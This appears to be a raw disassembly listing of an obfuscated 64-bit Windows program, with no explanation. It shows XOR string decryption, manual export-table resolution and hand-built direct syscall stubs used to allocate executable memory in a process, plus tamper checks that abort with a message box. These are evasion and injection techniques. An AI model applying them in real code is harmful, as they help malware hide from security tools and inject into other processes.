imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x3f8]
xor dil, r10b
mov byte [rbp + r10 + 0x3f8], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14002ddea
mov byte [rbp + 0x409], r14b
movdqa xmm0, xmmword [0x1400e3a90]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [0x1400e3bf0]
movdqu xmmword [rbp + 0xb88], xmm1
mov word [rbp + 0xb98], 0x97de
xor eax, eax
mov byte [rbp + 0xb9a], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xb78], dil
inc r8
add r9, r12
add r10, 0x22
movabs rax, 0x27dc5e0ff4
cmp r9, rax
jb 0x14002de8e
mov byte [rbp + 0xb9a], r14b
xor r9d, r9d
lea r8, [rbp + 0x3f8]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14009d598
int3
mov edi, dword [r13 + 0x50]
mov r13, qword [rbp + 0xe58]
mov qword [rbp + 0xf50], r13
cmp qword [0x1400f6ff0], r14
jne 0x14002df5c
mov ecx, 0x26b0
call fcn.1400a1e5c
test rax, rax
je 0x14002df5c
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x1400f6ff0], rax
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0x1020], rdi
movdqa xmm0, xmmword [0x1400e3cc0]
movdqu xmmword [rbp + 0x7e8], xmm0
mov dword [rbp + 0x7f8], 0x15d46150
mov dword [rbp + 0x7fc], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.140037da4
xor al, dil
mov byte [rbp + rdi + 0x7e8], al
inc rdi
cmp rdi, 0x17
jb 0x14002df9b
mov byte [rbp + 0x7ff], r14b
or rdx, 0xffffffffffffffff
mov rbx, qword [0x1400f6ff0]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x14002e0b7
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002e06f
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
cmovb rcx, rdx
call fcn.1400a1e5c
mov rsi, rax
test rax, rax
je 0x14002e0b4
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400f6ff0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c0050
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c06f0
mov rcx, rdi
call fcn.1400a1d38
mov qword [0x1400f6ff0], rsi
mov rbx, rsi
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_27
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x70], 0x84015c7a
mov dword [rbp + 0x74], 0xe3e51d90
mov word [rbp + 0x78], 0x88
mov rdi, r14
movabs rbx, 0xca8495ff84371
mov qword [rsp + 0x20], rbx
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x70]
lea rcx, [rbp + 0x70]
call fcn.140037cbc
xor al, dil
mov byte [rbp + rdi + 0x70], al
inc rdi
cmp rdi, 9
jb 0x14002e0d8
mov byte [rbp + 0x79], r14b
mov rbx, qword [0x1400f6ff0]
test rbx, rbx
je 0x14002e1e2
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002e19c
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a1e5c
mov rsi, rax
test rax, rax
je 0x14002e1df
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400f6ff0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c0050
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c06f0
mov rcx, rdi
call fcn.1400a1d38
mov qword [0x1400f6ff0], rsi
mov rbx, rsi
lea rax, [rbp + 0x70]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14002e411
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002e411
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002e411
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002e411
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14002e411
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002e276
inc rax
test edi, edi
jne 0x14002e261
test r8d, r8d
je 0x14002e288
inc rdx
cmp rdx, rsi
jb 0x14002e250
jmp 0x14002e411
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002e411
mov r14d, dword [rdx + 4]
xor r15d, r15d
test r14d, r14d
jns 0x14002e2ad
mov r14d, r15d
jmp 0x14002e411
mov r9d, 4
mov r8d, 0x3000
mov r12d, 0x1000
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1400965d0
or dword [rbp + 0x9b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x87b0]
call fcn.140038880
lea rcx, [rbp + 0x87b0]
call fcn.140037e18
mov ebx, eax
movabs rax, 0xc0906c513cedb3
mul rbx
mov ecx, ebx
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rbx, rax
mov rdi, r15
lea rcx, [rbp + 0x87b0]
call fcn.140037e18
mov eax, eax
mov qword [rbp + rdi*8 + 0x466e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14002e324
mov r8, r12
lea rdx, [rbp + 0x466e0]
mov rcx, rsi
call fcn.1400c0050
mov dword [0x1400f31a4], r14d
lea rdi, [rbx + rsi]
movsd xmm0, qword [0x1400f31a0]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f31a8]
mov word [rdi + 8], ax
mov al, byte [0x1400f31aa]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xfcc], r15d
lea r9, [rbp + 0xfcc]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x1020]
mov r8d, 3
lea rdx, [rbp + 0xe60]
mov rcx, r13
call rdi
mov r14d, eax
lea r9, [rbp + 0xfcc]
mov r8d, dword [rbp + 0xfcc]
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r12
xor edx, edx
mov rcx, rsi
call fcn.1400c06f0
mov edx, listen
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400f31a4], r15d
mov rdi, qword [0x1400f6ff0]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
mov esi, edx
test r15, r15
jle 0x14002e4c5
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x14002e4b3
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14002e4b3
mov al, byte [rbp + 0xf70]
test al, al
jne 0x14002e478
xor edx, edx
call fcn.1400c06f0
jmp 0x14002e4b1
cmp al, 1
jne 0x14002e4b3
mov rdx, rcx
lea rcx, [rbp + 0x1168]
call fcn.1400385e8
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.14003879c
lea rcx, [rbp + 0x1168]
call fcn.14003872c
lea rcx, [rbp + 0x1168]
call fcn.140006308
xor edx, edx
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x14002e43c
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400c06f0
mov rcx, rdi
call fcn.1400a1d38
xor r15d, r15d
mov qword [0x1400f6ff0], r15
test r14d, r14d
js 0x140036837
mov rax, qword [rbp + 0xe60]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x140036837
mov r13, qword [rbp + 0xe58]
mov ecx, 0x26b0
call fcn.1400a1e5c
test rax, rax
je 0x14002e529
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x1400f6ff0], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1010], 0x1000
movdqa xmm0, xmmword [0x1400e3cc0]
movdqu xmmword [rbp + 0x800], xmm0
mov dword [rbp + 0x810], 0x15d46150
mov dword [rbp + 0x814], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x800]
lea rcx, [rbp + 0x800]
call fcn.140037da4
xor al, dil
mov byte [rbp + rdi + 0x800], al
inc rdi
cmp rdi, 0x17
jb 0x14002e56c
mov byte [rbp + 0x817], r15b
mov rbx, qword [0x1400f6ff0]
test rbx, rbx
je 0x14002e693
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002e63f
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a1e5c
mov rsi, rax
test rax, rax
je 0x14002e686
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400f6ff0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c0050
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c06f0
mov rcx, rdi
call fcn.1400a1d38
mov qword [0x1400f6ff0], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x800]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_27
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x14002e689
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x60], 0x84015c7a
mov dword [rbp + 0x64], 0xe3e51d90
mov word [rbp + 0x68], 0x88
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.140037cbc
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x14002e6aa
mov byte [rbp + 0x69], r15b
mov rbx, qword [0x1400f6ff0]
test rbx, rbx
je 0x14002e7b9
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002e771
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a1e5c
mov rsi, rax
test rax, rax
je 0x14002e7b6
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400f6ff0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c0050
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c06f0
mov rcx, rdi
call fcn.1400a1d38
mov qword [0x1400f6ff0], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x60]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x14002e7b9
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14002e84a
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002e84a
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002e84a
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002e84a
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14002e84a
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x800]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002e839
inc rax
test edi, edi
jne 0x14002e824
test r8d, r8d
je 0x14002e8c5
inc rdx
cmp rdx, rsi
jb 0x14002e813
mov esi, r15d
mov rdi, qword [0x1400f6ff0]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov r14d, r13d
test r15, r15
jle 0x14002ea94
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x14002ea81
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14002ea81
mov al, byte [rbp + 0xf70]
test al, al
jne 0x14002ea48
xor edx, edx
call fcn.1400c06f0
jmp 0x14002ea81
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002e84a
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x14002e84a
cmp al, 1
jne 0x14002ea81
mov rdx, rcx
lea rcx, [rbp + 0x1148]
call fcn.1400385e8
xor edx, edx
lea rcx, [rbp + 0x1148]
call fcn.14003879c
lea rcx, [rbp + 0x1148]
call fcn.14003872c
lea rcx, [rbp + 0x1148]
call fcn.140006308
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x14002e87a
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400c06f0
mov rcx, rdi
call fcn.1400a1d38
mov qword [0x1400f6ff0], r13
test esi, esi
js 0x1400366af
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x50], r12
test r12, r12
je 0x1400366af
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1228], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1230], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1238], rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp + 0x1240], rsi
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1248], rax
mov rsi, qword [rsp + 0x70]
mov qword [rsp + 0x70], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], r15
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
mov r14d, 1
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
add rdi, r14
cmp r8d, 8
jb 0x14002eb44
mov r11d, r13d
mov rax, r13
lea r8, [rbp + 0x1228]
movabs r15, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r10b, dil
xor r10b, 0x28
mov ebx, edi
mov ecx, r13d
lea r9, [rbp + 0xf58]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf58]
mov rax, r15
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r9, r14
cmp ecx, 8
jb 0x14002ebbd
movzx ecx, r10b
add ecx, ebx
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add r11d, r14d
add r8, r14
movsxd rax, r11d
cmp rax, 0x28
jb 0x14002eb9f
mov qword [rbp + 0xf58], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], r15
xor esi, esi
mov qword [rbp + 0xf50], rsi
mov r8d, esi
mov edi, esi
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, r14
cmp r8d, 8
jb 0x14002ec59
mov r11d, esi
mov rax, rsi
lea r8, [rbp + 0x285d0]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r10b, dil
xor r10b, 5
mov ebx, edi
mov ecx, esi
lea r9, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r9, r14
cmp ecx, 8
jb 0x14002ecd1
movdqa xmm0, xmmword [0x1400e3c80]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3c0], __WSAFDIsSet
mov r10, r13
mov ebx, 0x9610712d
movabs rsi, 0x8080808080808081
movabs r8, 0x9f71783fd
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x13ee2f07fa
mov r14d, 0x9610712c
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3b0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x1400366fa
mov byte [rbp + 0x3c1], r13b
movdqa xmm0, xmmword [0x1400e3a60]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0x7207c055
mov dword [rbp + 0x96c], 0x596748d2
mov dword [rbp + 0x970], 0x10068bd1
xor eax, eax
mov byte [rbp + 0x974], al
mov r8, r13
movabs r9, 0x1069cc60ec
lea r10d, [rax + 0x1c]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x958], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x20d398c1d8
cmp r9, rax
jb 0x1400367a5
mov byte [rbp + 0x974], r13b
xor r9d, r9d
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x958]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14009d598
int3
movdqa xmm0, xmmword [0x1400e3c80]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], __WSAFDIsSet
mov r10, r15
mov ebx, 0x9610712d
movabs rsi, 0x8080808080808081
movabs r8, 0x9f71783fd
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x13ee2f07fa
mov r14d, 0x9610712c
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x308], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140036882
mov byte [rbp + 0x319], r15b
movdqa xmm0, xmmword [0x1400e3c70]
movdqu xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x750], 0x957e3e10
mov word [rbp + 0x754], reloc.WLDAP32.dll_Ordinal_211
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0xc4f5948b1
movabs r10, 0x189eb29162
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x740], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x140036926
mov byte [rbp + 0x755], r15b
xor r9d, r9d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14009d598
int3
cmp rax, rbx
jne 0x140036a62
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, 0x93ac035
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, 0x12c30fd1
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140036a42
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140036a42
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140036a62
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009d598
int3
movdqa xmm0, xmmword [0x1400e3c80]
movdqu xmmword [rbp + 0x350], xmm0
mov word [rbp + 0x360], __WSAFDIsSet
mov r10, r14
movabs rsi, 0x8080808080808081
movabs r8, 0x9f71783fd
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x13ee2f07fa
mov r15d, 0x9610712c
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x350], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x140036aa8
mov byte [rbp + 0x361], r14b
movdqa xmm0, xmmword [0x1400e39f0]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0x76c35f69
mov dword [rbp + 0x82c], 0x5b7a37
mov r8, r14
movabs r9, 0xd7b7a2b0b
mov r10d, reloc.WS2_32.dll_socket
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x818], dil
inc r8
add r9, r12
add r10, 0x17
movabs rax, 0x1af6f45616
cmp r9, rax
jb 0x140036b43
mov byte [rbp + 0x82f], r14b
xor r9d, r9d
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x818]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x1b]
cmp rax, rbx
jne 0x140036c79
mov rax, qword gs:[0x11]
mov ecx, 0xcf7cf033
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140036c59
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140036c59
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140036c79
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, rbx
jne 0x14003730c
mov rax, qword gs:[0x11]
movabs rcx, 0xe5a3648ce2378ab3
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140036d11
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140036d11
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003730c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
movdqa xmm0, xmmword [0x1400e3c80]
movdqu xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], __WSAFDIsSet
mov r10, r15
movabs rbx, 0x8080808080808081
movabs r8, 0x9f71783fd
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x13ee2f07fa
mov r14d, 0x9610712c
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x368], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x140036d77
mov byte [rbp + 0x379], r15b
movdqa xmm0, xmmword [0x1400e3be0]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0x9c7a3a35
mov word [rbp + 0x76c], Ordinal_200
